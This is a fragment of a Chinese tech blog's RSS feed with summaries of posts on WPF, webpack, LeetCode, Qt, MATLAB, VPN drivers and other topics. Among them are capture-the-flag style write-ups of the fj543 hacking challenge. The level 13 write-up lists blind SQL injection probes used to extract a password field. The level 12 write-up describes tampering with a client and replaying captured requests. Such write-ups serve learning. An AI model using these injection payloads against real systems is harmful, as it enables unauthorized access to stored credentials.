&amp;lt;Grid.ColumnDefinitions&amp;gt; &amp;lt;ColumnDefinition&amp;gt;&amp;lt;/ColumnDefinition&amp;gt; &amp;lt;ColumnDefinition&amp;gt;&amp;lt;/ColumnDefinition&amp;gt; &amp;lt;/Grid.ColumnDefinitions&amp;gt; &amp;lt;Button Grid.Row=&#34;0&#34; Grid.Column=&#34;0&#34; Margin=&#34;2&#34;&amp;gt;One&amp;lt;/Button&amp;gt; &amp;lt;Button Grid.Row=&#34;0&#34; Grid.Column=&#34;1&#34; Margin=&#34;2&#34;&amp;gt;Two&amp;lt;/Button&amp;gt; &amp;lt;Button Grid.Row=&#34;1&#34; Grid.Column=&#34;0&#34; Margin=&#34;2&#34;&amp;gt;Three&amp;lt;/Button&amp;gt; &amp;lt;Button Grid.Row=&#34;1&#34; Grid.Column=&#34;1&#34; Margin=&#34;2&#34;&amp;gt;Four&amp;lt;/Button&amp;gt; &amp;lt;Button Grid.Row=&#34;2&#34; Grid.Column=&#34;0&#34; Margin=&#34;2&#34;&amp;gt;Five&amp;lt;/Button&amp;gt; &amp;lt;Button Grid.Row=&#34;2&#34; Grid.Column=&#34;1&#34; Margin=&#34;2&#34;&amp;gt;Six&amp;lt;/Button&amp;gt; &amp;lt;/Grid&amp;gt; &amp;lt;/Window&amp;gt; 效果图&#xA;此例中，调节窗口大小时，Button大小随着窗口的变化而变换。&#xA;Grid简单实例——登录界面 在很多应用程序中都会有登录页面的设计，在此，作为一个Grid实例。&#xA;设计要求：现在使用Grid布局控件来设计一个简单的登录界面，使用多种控件。&#xA;依旧是在解决方案WpfApp3新建项目：命名项目名字GridLogin。&#xA;XAML代码如下：&#xA;&amp;lt;Window x:Class=&#34;</description>
    </item>
    <item>
      <title>Vue 08上</title>
      <link>https://bchobby.github.io/posts/f0bd548bcb0b582a74e4fbaf74defa4a/</link>
      <pubDate>Sun, 30 May 2021 13:14:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f0bd548bcb0b582a74e4fbaf74defa4a/</guid>
      <description>Vue 08 Webpack 基本介绍 webpack是一个现代JavaScript应用程序的静态模拟打包器 webpack用于上线之前的代码打包（编译、文件的压缩、合并等操作）&#xA;编译：把Vue、js、less等相关的代码转换为浏览器能认识的原生代码&#xA;压缩：代码中的空格、回车换行、注释、变量名称等信息的优化，优化之后代码体积变小，提高网络传输效率&#xA;合并：多个文件合并成一个，减少网络请求的次数&#xA;初始化项目 index.html&#xA;src/js/index.js&#xA;src/js/common.js&#xA;基于命令行用法 初始化项目 npm init -y 安装依赖包 npm install webpack webpack-cli -D 判断安装成功的标注 .\node_modules\.bin\webpack -v npx webpack -v 打包 .\node_modules\.bin\webpack --entry 要打包的文件名称 -o 打包后的文件路径 // 或者(npx是node环境自带的命令,作用是：自动从当前项目的跟目录中的node_modules\.bin目录中查找要执行的命令) npx webpack --entry 要打包的文件名称 -o 打包后的文件路径 npx webpack --entry ./src/js/index.js -o ./src/js/ 思考： webpack打包和Vue脚手架打包（npm run build）之间是什么关系？&#xA;Vue脚手架打包的底层过程其实是使用的是webpack（脚手架打包依赖的webpack）,只不过Vue脚手架封装了webpack的打包过程，我们看不到而已&#xA;为什么要封装webpack的打包过程？&#xA;因为封装之后用起来非常简单&#xA;为什么要学习webpack打包过程？&#xA;理解Vue脚手架内部的实现原理&#xA;基于配置文件用法 入口文件和出口文件&#xA;加载器&#xA;插件&#xA;入口文件和出口文件配置 在项目的根路径中创建一个配置文件 webpack.config.js&#xA;使用配置文件 –config可以指定配置文件的名称（默认名称是webpack.config.js） 如果配置文件名称不是webpack.config.js，必须指定（–config配置文件名称）</description>
    </item>
    <item>
      <title>LeetCode 算法 每日一题 231.2的幂</title>
      <link>https://bchobby.github.io/posts/c02f97ff89d55634fc112bf402f54619/</link>
      <pubDate>Sun, 30 May 2021 11:07:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c02f97ff89d55634fc112bf402f54619/</guid>
      <description>231.2的幂 题目描述 给你一个整数n，请你判断该整数是否是 2 的幂次方。如果是，返回true；否则，返回false。&#xA;如果存在一个整数x使得n == 2x，则认为 n 是 2 的幂次方。&#xA;示例1&#xA;输入：n = 1&#xA;输出：true&#xA;解释：20 = 1&#xA;示例2&#xA;输入：n = 16&#xA;输出：true&#xA;解释：24 = 16&#xA;示例3&#xA;输入：n = 3&#xA;输出：false&#xA;示例4&#xA;输入：n = 4&#xA;输出：true&#xA;示例5&#xA;输入：n = 5&#xA;输出：false&#xA;提示&#xA;-231 &amp;lt;= n &amp;lt;= 230 - 1你能够不使用循环/递归解决此问题吗？ 十进制二进制十进制二进制十进制二进制(计算机负数:补码形式)200000 000120 - 10000 0000-201111 1111210000 001021 - 10000 0001-211111 1110220000 010022 - 10000 0011-221111 1100230000 100023 - 10000 0111-231111 1000240001 000024 - 10000 1111-241111 0000 2的n次幂在二进制中就是其中的1左移n位，题目最大范围为230，可以得出</description>
    </item>
    <item>
      <title>UML期末大作业——《UML系统分析与设计》</title>
      <link>https://bchobby.github.io/posts/67691b14e8c734378ab7dc78749b13af/</link>
      <pubDate>Sun, 30 May 2021 10:49:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/67691b14e8c734378ab7dc78749b13af/</guid>
      <description>在写UML期末大作业过程中，emmmmm，熬夜，掉头发，visio图，word，pdf，…&#xA;大半夜三点多，大作业即将截止日期，我还在敲键盘，打字，画图（只是，忍不住吐槽一下下，宣泄劳累和疲惫；但是看完 “老婆” 的照片，瞬间好开心，作业什么的都不是事，哈哈哈…）&#xA;步入正题，简单介绍一下自己的UML期末作业：&#xA;作业要求： （这是本小白UML期末大作业的要求，不过，好像不同的老师有不同的要求…）&#xA;内容&#xA;以一个实际的应用系统为对象，完成以下内容： 对系统进行概述 该系统是什么该系统的功能包含哪些你为什么要选择该系统作为分析对象 对系统进行用例建模 主用例的个数不少于 4 个每个主用例对应的可替换用例的个数不少于 2 个包含用例的包含关系、扩展关系每个用例给出用例描述、绘制出用例图给出必要的文字描述 对系统进行静态建模 给出系统在问题域的静态模型对系统进行系统上下文建模：给出类图对系统进行软件系统上下文建模：给出类图给出必要的文字描述 对系统进行动态交互建模 在上述建模的基础上，给出对应的状态图在用例建模的基础上，给出对应的通信图在用例建模的基础上，给出对应的顺序图给出必要的文字描述 对该系统的一个子系统进行软件体系结构设计 给出该子系统的软件体系结构（面向对象的体系结构，客户端/服务器软件体系结构，或者面向服务的软件体系结构等）画出相应的示例图给出必要的文字叙述 要求&#xA;2.1 排版&#xA;以××××大学《本科毕业论文格式》为模板，编排文字。&#xA;模板下载网址：&#xA;××××××&#xA;首页标明姓名、学号、班级等关键信息。&#xA;2.2 总字数&#xA;不少于 3000 字。&#xA;2.3 参考文献&#xA;给出必要的参考文献，不少于 10 篇。参考文献格式符合《本科毕业论文格式》的要求。计分&#xA;• 大作业的初始成绩以百分制计算，最高 100 分，最低 0 分。&#xA;• 课程的期末总成绩计算公式为：&#xA;期末总成绩 = 大作业的初始成绩 × 70% + 平时成绩 × 30%&#xA;• 其中，平时成绩根据平时作业表现和上课考勤确定，按百分制计分。提交&#xA;• 请将作业生成 PDF 文档，上传到×××系统&#xA;• 请在 ×× 年 ×× 月 ×× 日之前提交作业反剽窃</description>
    </item>
    <item>
      <title>2020-2021年的心得</title>
      <link>https://bchobby.github.io/posts/24703fec449fdcaddeb3c8a711777542/</link>
      <pubDate>Sun, 30 May 2021 10:45:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/24703fec449fdcaddeb3c8a711777542/</guid>
      <description>文章目录 20202021 2020 在过去的2020年，我发生了很大的转变，工作上的内容和阅历直接影响了我的生活，向成熟责任上的转变。&#xA;2020年之前，我的工作从一个研发到研发负责人，增加和管理的经验，但是思想上还是研发，还是更理性的感觉这个世界，理性的对待家庭。&#xA;2020年，我上升到 YY ToB 上海的负责人，当我们从 0 开始搭建 ToB 平台，从研发到管理到拜访客户，和客户，研发，产品，测试，商务，高层的沟通上，更能感觉到沟通的乐趣，与人打交道真的其乐无穷。&#xA;作为研发，我们的思想还是固定要技术，需求和成本上。但作为 ToB 的管理者，要着重于客户，资源的协调，用于承担责任，敢打敢拼的精神，着重于全国的市场情况，着重于商务和售前的构建，集中几点去弯道超车，怎么有效沟通，怎么背锅，怎么挡在最前面去保护后端的产研，学问真的很大。&#xA;接受这个工作后，家里是比以前更和睦了。以前还是研发的思想，有时候交流的确不会换位思考，不会换位思考，就代表你根本不知道对方在想些什么，不知道对方需要什么，现在更多的是先换位思考，知道为什么后，在去解决。很多的时候，家里面没有和睦的信息，更多的时候沟通不及时，事情没有说清楚，总是以自我为中心去想让别人谅解，但大家都这样，事情就没有办法正常的交流沟通。多为对方着想下，真多没那么多事情，大家能够在一起，总归是一开始就互相欣赏的，多沟通，问题都会解决的。&#xA;2020年，是个辛苦年，去广州的那段时间，几乎就没怎么休息过，天天上班，是的，天天上班，1个半月，480个小时，真的是很累，这一年有2.5年的工作经验了。ToB 很累，从0开始就更累了，真的不知道自己怎么挺过来的，老婆也好，孩子也好，真的是不容易，非常感谢她们。成绩是有了，但公司不做ToB了，我们整体被裁掉，我们当时求爷爷求奶奶的，为了整个团队未来去奔波 ，最后去了Bigo，因为Bigo 也是欢聚旗下的，要做 ToB，平级转过去对我们可能是最大的争取了。&#xA;2021 2021年，在Bigo工作了一段时间后，我就换了工作，我像了可能会和上一个工作是类似的，但是很多时候都不一样，这边有更加大的部门，划分更多的职责，但是部门关系和部门强也更高，客户也更多，关系也更复杂。学习了更多东西。&#xA;因为涉及到现在的工作，不变多说，但真的很棒，我们有非常好的团队，非常好的伙伴，非常好的管理体系。我会在明年把新的体会写上的。&#xA;今年开始学习理财，现在在买一些股票，基金，基本面分析，技术分析。我希望能简单的入门就可以，都不奢望能够赚钱，这个也是为了以后能够有个保障吧。&#xA;2021加油！！！</description>
    </item>
    <item>
      <title>esp8266 android源码,物联网基础项目——基于ESP8266，STM32，Android的家具控制</title>
      <link>https://bchobby.github.io/posts/61a3af34692f086dd7a4687c319563a2/</link>
      <pubDate>Sun, 30 May 2021 06:47:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/61a3af34692f086dd7a4687c319563a2/</guid>
      <description>【实例简介】&#xA;物联网基础项目——基于ESP8266，STM32，Android的家具控制配套代码。&#xA;【实例截图】&#xA;【核心代码】&#xA;物联网基础项目——基于ESP8266，STM32，Android的家具控制&#xA;└── 物联网基础项目——基于ESP8266，STM32，Android的家具控制&#xA;├── 手机端&#xA;│ ├── AndroidManifest.xml&#xA;│ ├── bin&#xA;│ │ ├── AndroidManifest.xml&#xA;│ │ ├── classes&#xA;│ │ │ └── xyz&#xA;│ │ │ └── tulling&#xA;│ │ │ ├── assist&#xA;│ │ │ │ ├── IOTCommand$LED.class&#xA;│ │ │ │ ├── IOTCommand.class&#xA;│ │ │ │ └── IOTMessage.class&#xA;│ │ │ ├── listener&#xA;│ │ │ │ ├── LinkThread.class&#xA;│ │ │ │ └── SwitchListener.</description>
    </item>
    <item>
      <title>推荐一款非常好用的：Windows 虚拟网卡接口驱动</title>
      <link>https://bchobby.github.io/posts/c58b0ea5a19380e087c9f6a6979b2869/</link>
      <pubDate>Sat, 29 May 2021 19:32:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c58b0ea5a19380e087c9f6a6979b2869/</guid>
      <description>前一段时间，一直在找寻windows操作系统上的虚拟网卡接口，主要是为了搭建隧道使用。但是windows操作系统不像Linux操作系统，它的代码不开源，导致这方面的资料很少，因此花费了较长时间来寻找相关实现框架，最终找到了两款开源项目的虚拟接口驱动：&#xA;Wireguard项目的Wintun接口OpenVPN的Tap接口 这两个项目都是非常出名的搭建隧道的开源V.P.N项目。由于目前对openVPN项目不太了解，也没有适配Tap接口，因此这里重点介绍下WinTun接口。此接口实现我是非常非常的喜欢，喜欢到简直不要不要的。&#xA;1.简介 说到Wintun项目，就不得不说到它的父亲：WireGuard项目（以下简称WG）。Github传送门&#xA;WG项目作为开源V.P.N项目，不同于OpenVPN, Openswan, Strongswan等，它的实现非常简介，Linux内核代码实现不到4000行。相对于上述的三个“按行收费”的项目（代码10万行起步），它简直是太简洁了。故而得到了众多好评，其中就包括Linux鼻祖：Linus Torvalds。他的评价如下：&#xA;Btw, on an unrelated issue: I see that Jason actually made the pull request to have wireguard included in the kernel.&#xA;Can I just once again state my love for it and hope it gets merged soon? Maybe the code isn’t perfect, but I’ve skimmed it, and compared to the horrors that are OpenVPN and IPSec, it’s a work of art.</description>
    </item>
    <item>
      <title>fj543-第13关</title>
      <link>https://bchobby.github.io/posts/3bed3610d09b2370d5a038cdd398016d/</link>
      <pubDate>Sat, 29 May 2021 01:17:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3bed3610d09b2370d5a038cdd398016d/</guid>
      <description>第13关地址：http://www.fj543.com/hack/?level=13sql&#xA;根据提示，访问：http://www.fj543.com/hack/13sql.asp&#xA;看起来是一个可以调用到SQL的输入框。&#xA;很自然的……这个接口是有注入漏洞的，它能反馈出3种状态。&#xA;1、没有找到此ID对应的内容。(Nothing found)&#xA;2、数据库中有这条信息,但我不能直接告诉你密码。(The data exists.But I can&#39;t show you the password)&#xA;3、网页出错。请与系统管理员联系。&#xA;猜测密码字段名：&#xA;0 or password is not null（出错）&#xA;0 or pwd is not null（有数据）&#xA;密码字段名为pwd。&#xA;猜测字段类型：&#xA;0 or pwd &amp;lt;&amp;gt; 0（出错）&#xA;0 or pwd &amp;lt;&amp;gt; &#39;&#39;（有数据）&#xA;pwd字段名为字符串。&#xA;猜测字段长度（大概用的是MSSQL数据库）：&#xA;514 and len(pwd) &amp;gt; 6（无数据）&#xA;514 and len(pwd) &amp;gt; 4（有数据）&#xA;514 and len(pwd) = 5（有数据）&#xA;密码是5个字符。&#xA;猜测密码（二分查找）：&#xA;514 and pwd &amp;gt; &#39;m&#39;（有数据）&#xA;514 and pwd &amp;gt; &#39;t&#39;（无数据）</description>
    </item>
    <item>
      <title>fj543-第12关</title>
      <link>https://bchobby.github.io/posts/6b74b10cb6cf95a93bde519535735f95/</link>
      <pubDate>Sat, 29 May 2021 01:16:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6b74b10cb6cf95a93bde519535735f95/</guid>
      <description>第12关地址：http://www.fj543.com/hack/?level=g1228286704&#xA;下载认证软件……下不动，下了1个钟。&#xA;解压后运行level12.exe（需要以管理员身份运行，不然起不来）。&#xA;点击身份验证，下方的框中说明验证分两个阶段。&#xA;用抓包Fiddler软件看看它干了啥。&#xA;发起了两个HTTP请求，分别是step1和step2，code用URL编码了一下。&#xA;仔细观察，step1的code是271，但是step2的code是316，这个step2的code是哪里来的？&#xA;网页临时ID只有一个708，最多是step1的code。&#xA;本来想找一个文本框解锁工具，但是没找到，想起了游戏修改器Cheat Engine。&#xA;用字符串搜索，临时ID，将它改为708，点击申请身份验证。&#xA;嘿嘿，通过抓包，果然得到了想要的东西。&#xA;http://www.fj543.com/hack/?act=step1&amp;amp;code=%37%30%38 http://www.fj543.com/hack/?act=step2&amp;amp;code=%37%37%35 在浏览器的另一个标签，按照顺序访问这两个地址，通关。&#xA;收获：没有用上反编译、跟踪、生成算法破解等高级手段，是因为我不会……见识越多，解法越多。</description>
    </item>
    <item>
      <title>fj543-第11关</title>
      <link>https://bchobby.github.io/posts/b34847d43cfea884ffb2b19776227e95/</link>
      <pubDate>Sat, 29 May 2021 01:15:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b34847d43cfea884ffb2b19776227e95/</guid>
      <description>第11关地址：http://www.fj543.com/hack/?level=lv11&#xA;好吧，这个表情肯定有内情。&#xA;把它下载下来，直接用记事本打开。&#xA;上面一段是gif，下面一段是wav。&#xA;好吧，把wav另存为文件。&#xA;由于使用的电脑听不到声音……于是找了个语言转换文本的网站（还好多找了一个，不然就会漏掉“一”）。&#xA;语音的内容是。&#xA;表情加上三七二一。 表情……是啥数字？是QQ表情吗？&#xA;可能是35吧……35 + 3721 = 3756。&#xA;并不是……试来试去都不对，看看别人攻略，发现是英文加数字？&#xA;然后，cry3721、crying3721、sob3721、sobbing3721、wail3721、wailing3721、shout3721、shouting3721……崩溃了。&#xA;刷了一天后，表情终于换了。&#xA;同样的操作，音频是5858，密码是：smile5858。&#xA;收获：语音转文字引擎有缺陷，表情数字编号有可能更变，尽量先不要采取不可靠的方案。</description>
    </item>
    <item>
      <title>魅蓝e2 android n,魅族Flyme公布近期更新预告 用户体验仍是发力重点</title>
      <link>https://bchobby.github.io/posts/3ec57ebbf9e321a960d32ddc667401f2/</link>
      <pubDate>Fri, 28 May 2021 21:59:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3ec57ebbf9e321a960d32ddc667401f2/</guid>
      <description>Flyme总裁杨颜在今年的926非正式会谈上表示，Flyme 有自己的研发节奏，不会单纯地追求更大的“版本号”，而只会以内容和体验作为标准，来衡量是否发布更新换代的大版本。&#xA;对于外界盛传的Flyme 7，从魅族Flyme近期在其官方论坛公布的更新预告来看，应该会晚点和大家见面。虽然没有大版本发布，但Flyme接下来的更新迭代动作，仍然值得期待。&#xA;Android N体验版更新：游戏模式新增三大功能&#xA;11月28日，魅族Flyme将发布全新体验版。针对基于Android N底层的MX6/PRO 5/PRO 6/PRO 6s/PRO 6 Plus/魅蓝 Note3/魅蓝 Note5/魅蓝 E/魅蓝 Max/PRO 7/PRO 7 高配版/PRO 7 Plus等机型带来了「Meizu Pay」，支持绑定支付宝进行扫码付款，付款更便捷。&#xA;同时，该体验版还修复了上个版本中存在问题，并给游戏模式带来新的优化，新增悬浮球选项和游戏过程中陌生来电标记，以及短信智能提取关键字展示信息列表，给已经无比体贴的游戏体验再次升级。&#xA;此外，针对魅蓝 X和魅蓝 E2还做了短信方面的优化，新增短信智能提取关键字展示信息列表和通知栏回复短信支持滑动查看详细内容。&#xA;魅蓝 Note6：支持「应用分身2.0」&#xA;魅蓝 Note 6稳定版预计在12月中旬发布，将适配「应用分身2.0」，除此之外，系统的稳定性、流畅性、功耗表现等方面也会有所提升。如果想提前尝鲜，大家可以关注再次开启的内测招募活动，报名参加内测。&#xA;另外，Flyme 6.1.4.5A 解决了光感调节和音量大小等异常现象，目前已开放 OTA 检测，大家可以进入 「系统更新」APP 中检测更新，获取更好的操作体验。&#xA;Android M/L稳定版更新，适配「应用分身2.0」「安全家庭」&#xA;目前Flyme正在为 Android M/L 机型适配「应用分身2.0」和「安全家庭」，魅蓝 X/魅蓝 E2适配「游戏模式2.0」的工作也已经启动。由于这些功能涉及的开发量大，稳定版将延迟至2018年1月底发布。按惯例稳定版发布前将陆续开放各机型的内测通道，想要尝鲜的魅友们可以留意后续官方信息。&#xA;Android N机型迭代计划：将相继发布两个稳定版&#xA;为了让魅友们尽快用上更加完善的 Android N，Flyme预计在2017年12月底和2018年1月底各发布一个稳定版，二者会着重提升系统稳定性、流畅性和功耗表现，也会在更新 Android 补丁的同时解决 Wi-Fi 安全等问题，同时通话质量也会大幅改善。&#xA;魅族手机操作系统Flyme，以其强大的功能、超高的颜值、人性化的用户体验而广受魅友们欢迎。Flyme 6.2版本首创的游戏模式2.0和安全家庭功能自发布后就好评不断，尤其在安卓阵营同质化的大环境下，魅族Flyme这种创新驱动型的产品精神就更显稀缺和珍贵。精益求精的Flyme不断优化用户体验，为用户打磨更流畅更好用的系统，期待Flyme带来更多的惊喜。</description>
    </item>
    <item>
      <title>压缩打包命令</title>
      <link>https://bchobby.github.io/posts/19ad6f766d8a3ad7620bbccf4fafb95b/</link>
      <pubDate>Fri, 28 May 2021 19:19:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/19ad6f766d8a3ad7620bbccf4fafb95b/</guid>
      <description>单个文件压缩打包 tar czvf my.tar file1&#xA;多个文件压缩打包 tar czvf my.tar file1 file2,...&#xA;单个目录压缩打包 tar czvf my.tar dir1&#xA;多个目录压缩打包 tar czvf my.tar dir1 dir2</description>
    </item>
    <item>
      <title>小米8开机android正在启动不了,小米无法开机解决办法【图文教程】</title>
      <link>https://bchobby.github.io/posts/68fb7ce64b1374d22a34a5ff47492521/</link>
      <pubDate>Fri, 28 May 2021 18:40:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/68fb7ce64b1374d22a34a5ff47492521/</guid>
      <description>小米 智能手机的出现就改变了这个现状，人们可以花非常低的价格购买到性能非常强大的智能手机。因此使得小米智能手机一经推出市场就受到了非常多年轻人的喜欢。而人们在使用小米智能手机的时候会突然发生手机无法开机的情况，这个时候会大大的影响人们的正常使用。人们一般都会去修理店修理，其实有的时候一些小问题是可以自己解决的。那小编就给大家说一说小米智能手机无法开机的解决方法。&#xA;小米无法开机&#xA;首先在关机状态下按住“音量键上”和“电源键”开机，手机会启动至Recovery模式。在该模式下触摸屏暂时不能用，需要使用音量键上和下来移动选项，电源键来进行确认操作。&#xA;在打开的语言选择界面中，利用音量上下键选择“简体中文”，然后按一下电源键进行确认。&#xA;接着在打开的“主菜单”中选择“消除数据”，并按下“电源键”进行确定。&#xA;数据清除完成后，程序就会返回“主菜单”界面，然后利用音量上下选择“重启手机”，并按“电源键”确定。&#xA;接着在打开的“重启”界面中选择“重启进入系统一(最近)”，并按“电源键”，此时手机就会自动重启。&#xA;重启完成后，久违的小米手机桌面又出现啦。&#xA;小米刷机&#xA;无线下载完整包升级&#xA;1，在“系统更新”内点击菜单键，选择“下载最新完整包”。&#xA;2，在显示的新界面中点击“下载完整包”。&#xA;3，下载过程大约5分钟，下载过程在后台进行，不影响其他操做。&#xA;4，在新的对话界面中的点击“立即更新”。&#xA;5，在新的对话框中选择“开始升级”。&#xA;6，整个升级过程大约持续2分钟，完成后点击“重启系统”。&#xA;7，确认保存未保存的数据，点击“确定”。&#xA;8，大功告成，刷机成功，进入新系统。&#xA;刷入其他系统&#xA;1，在“系统更新”内点菜单键，点击“选择安装包”。&#xA;2，在文件浏览界面选择您所想刷入的ROM。&#xA;3，选择后会出现如下提示，点击“立即更新”。&#xA;4，在新的对话框中点击“开始升级”。&#xA;5，整个过程在后行，不影响您的其他工作。&#xA;6，升级过程完成后点击“重启进入新系统”&#xA;7，点击“确定”前请保存未完成的工作。&#xA;8，大功告成，成功进入新系统(以原生为例)。&#xA;现在社会上的每一个人都会拥有自己的智能手机，人们每天都会花大量的时间来进行网上购物以及交友等。而人们在购买智能手机的时候都会选择性价比高的，但是一直以来市场上的高性能智能手机品牌价格也是非常贵的，有非常多的年轻消费者是无法支付的起。而小米智能手机就是性价比非常高的。而小编给大家介绍的小米无法开机的解决方法，希望可以帮助到大家。</description>
    </item>
    <item>
      <title>多类线性分类器算法原理及代码实现 MATLAB</title>
      <link>https://bchobby.github.io/posts/5dee286f7b53ca2c8d2c254bd9b0df44/</link>
      <pubDate>Fri, 28 May 2021 17:39:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5dee286f7b53ca2c8d2c254bd9b0df44/</guid>
      <description>多类线性分类器算法原理及代码实现 MATLAB 一、算法原理 下面举例说明为何蓝圈部分在case2中是确定的而在case1中不确定：&#xA;二、代码实现 1、HK函数 function [] = HK(w1_data,w2_data) %w1_data为第一类数据集 w2_data为第二类数据集 %此函数的作用为用HK算法对输入的数据集w1_data,w2_data做二分类，并画出分界面 lr=0.5 ;%学习率 MaxIter = ceil(20000/lr);%最大迭代次数 Eps = 1e-5; %精度 %% 增广化 w1_data=[w1_data&#39;;ones(1,size(w1_data,1))]&#39;; w2_data=[w2_data&#39;;ones(1,size(w2_data,1))]&#39;; Y=[w1_data;-w2_data];%待分类数据，w1在决策平面的正侧 [xmin,~]=min(Y,[],1); %求出横坐标最小值 [xmax,~]=max(Y,[],1); %求出横坐标最大值 b=rand(size(Y,1),1); Y_flag=(Y&#39;*Y)\Y&#39;; % Y_flag=pinv(Y); N=length(b); C=0;%迭代次数 while(C &amp;lt; MaxIter) a=Y_flag*b; e=Y*a-b; zeronum = sum(e&amp;lt;Eps &amp;amp; e&amp;gt;-Eps); nenum = sum(e&amp;lt;0); if zeronum==N %all is 0 break; elseif nenum ==N break; end delta=lr*(e+abs(e)); b = b + delta; %更新b C=C+1; %迭代次数+1 end if C ==MaxIter if sum(e&amp;gt;-Eps)==N % all is larger than or equal to 0.</description>
    </item>
    <item>
      <title>QT从零开始作单片机上位机-串口调试助手&#43;波形显示-实现串口模块的配置</title>
      <link>https://bchobby.github.io/posts/d95c00ca374ab8828a5a33ad8b5e37bb/</link>
      <pubDate>Fri, 28 May 2021 14:26:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d95c00ca374ab8828a5a33ad8b5e37bb/</guid>
      <description>目录&#xA;实现串口模块的配置（1）&#xA;一、先列举需要思考的问题：&#xA;二、所有的问题要由简单到复杂逐一解决&#xA;实现串口模块的配置（1） 完成了基本的界面设计后，我们就要着手实现功能。下来的几章我们看串口数据收发的功能怎么实现。&#xA;首先我需要阐明的是，由于做嵌入式开发，相信大部分人学习的是C语言，而QT用的是C++，那么用C语言的知识能否完成这个上位机的工作呢?我的回答是可以的。&#xA;逐步来分析整个实现过程：&#xA;一、先列举需要思考的问题： 怎么实现点击刷新按钮后，串口工具可以自动发现可用的COM口，并将com口显示在Combobox1?如何添加所有可用的波特率？同样给其他Combobox添加相关的值？如何在点击“打开”按钮后，串口 即可使用，同时所有Combobox置为不可用状态，按钮字体转变为“关闭”？如何在点击“清空接收区”按钮后，将接收区的数据清除？如何在点击“暂停接收区”按钮后，接收不再接收数据？如何实现自动清除功能？十六进制显示功能？如何实现十六进制发送功能？自动发送功能，发送可按照间隔时间发送？如何在点击“清空”按钮后，将Rx：Tx：的值显示为0？ 二、所有的问题要由简单到复杂逐一解决 1、先从Combobox入手，选中后双击，点击左下角“+”号，就可以直接在界面添加参数列表，所有Combobox操作方式一样。&#xA;2、处理简单的按钮问题：怎么实现点击“打开”按钮后变为“关闭”：&#xA;这里就要从代码入手，怎么办？通过网络大概可以了解到对按钮的动作要进行事件响应，QT通过“槽”机制实现，选中按钮，转到槽，在弹出的窗口中我们可以看到关于槽的函数：&#xA;可以推断按钮的点击可以是clicked();确定后看会是什么结果。&#xA;QT自动帮我们定义了一个函数： void MainWindow::on_pB_Open_clicked() { } 为了便于调用函数，我们对所有控件进行重命名，它跟生成的函数名是相关的。&#xA;至于MainWindow:: 部分显然是C++的语法，暂时不需要去理解，只知道人家就是这样用的，不乱该改就行。&#xA;那么on_pB_Open_clicked()这个函数的声明在哪里，搜一下，就知道：&#xA;class MainWindow : public QMainWindow { Q_OBJECT public: explicit MainWindow(QWidget *parent = 0); ~MainWindow(); private slots: void on_pB_Open_clicked(); } 整个结构还是C++的用法，那么可以推知:其他生成的函数也是在private slots:槽部分声明的。如果我们自定义一个槽函数也可以放到这里，知道这些足够。&#xA;我们的功能必然在这个函数体内来是实现，通过网络得知QT对空间的操作是通过ui变量来操作的，输入“ui-&amp;gt;”QT编译器自动获取按钮的对象名称。下来的问题就是如何获取按钮的text属性“打开”，然后再改为“关闭”， ui-&amp;gt;pB_Open-&amp;gt;text()就可以。&#xA;if(ui-&amp;gt;pB_Open-&amp;gt;text()==tr(&#34;打开&#34;)) 这样就可以实现，&#xA;if(ui-&amp;gt;pB_Open-&amp;gt;text()==tr(&#34;打开&#34;)) { ui-&amp;gt;pB_Open-&amp;gt;setText(tr(&#34;关闭&#34;)); } else { ui-&amp;gt;pB_Open-&amp;gt;setText(tr(&#34;打开&#34;)); } 以上就是最简单的实现代码，可以运行看看效果。&#xA;Combobox的操作就是 …-&amp;gt;setEnabled(false); …-&amp;gt;setEnabled(true);&#xA;其他一些简单的槽函数都可以实现，比如清零、清空等操作。&#xA;3、串口调试工具要实现串口操作，就需要Qserialport 模块，这个直接可以通过网络知道。&#xA;如何在系统上获取可用串行端口的列表呢？&#xA;实现步骤：&#xA;1）打开.pro文件；添加一行：QT += serialport</description>
    </item>
    <item>
      <title>lvs（四层和七层）、haproxy、nginx性能比较</title>
      <link>https://bchobby.github.io/posts/ec4ab1aa4148ca0fe74299933d99b7b1/</link>
      <pubDate>Fri, 28 May 2021 14:00:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ec4ab1aa4148ca0fe74299933d99b7b1/</guid>
      <description>文章目录 1.lvs（四层和七层）七层各层简介：四层各层简介：OSI七层和TCP/IP四层的区别 2 LVS优缺点优点缺点 3 nginx优缺点优点缺点 4 haproxy特点HAPorxy缺点： 总结 1.lvs（四层和七层） 七层各层简介： 物理层（Physical Layer）：主要定义物理设备标准，如网线的接口类型、光纤的接口类型、各种传输介质的传输速率等。它的主要作用是传输比特流（就是由1、0转化为电流强弱来进行传输,到达目的地后在转化为1、0，也就是我们常说的数模转换与模数转换），这一层的数据叫做比特，单位是bit比特。&#xA;数据链路层（Datalink Layer）：定义了如何让格式化数据以进行传输，以及如何让控制对物理介质的访问，这一层通常还提供错误检测和纠正，以确保数据的可靠传输。交换机(二层)、网桥设备在这一层。数据链路层协议的代表包括：PPP、STP、帧中继等。&#xA;网络层（Network Layer）：在位于不同地理位置的网络中的两个主机系统之间提供连接和路径选择，Internet的发展使得从世界各站点访问信息的用户数大大增加，而网络层正是管理这种连接的层。网络层负责在源机器和目标机器之间建立它们所使用的路由。路由器在该层。协议有：IP、ICMP（互联网控制报文协议）、ARP（地址转换协议）、RARP（反向地址转换协议）&#xA;传输层（Transport Layer）：O S I 模型中最重要的一层。定义了一些传输数据的协议和端口号（WWW端口80等），如：TCP（传输控制协议，传输效率低，可靠性强，用于传输可靠性要求高，数据量大的数据），UDP（用户数据报协议，与TCP特性恰恰相反，用于传输可靠性要求不高，数据量小的数据，如QQ聊天数据就是通过这种方式传输的）， 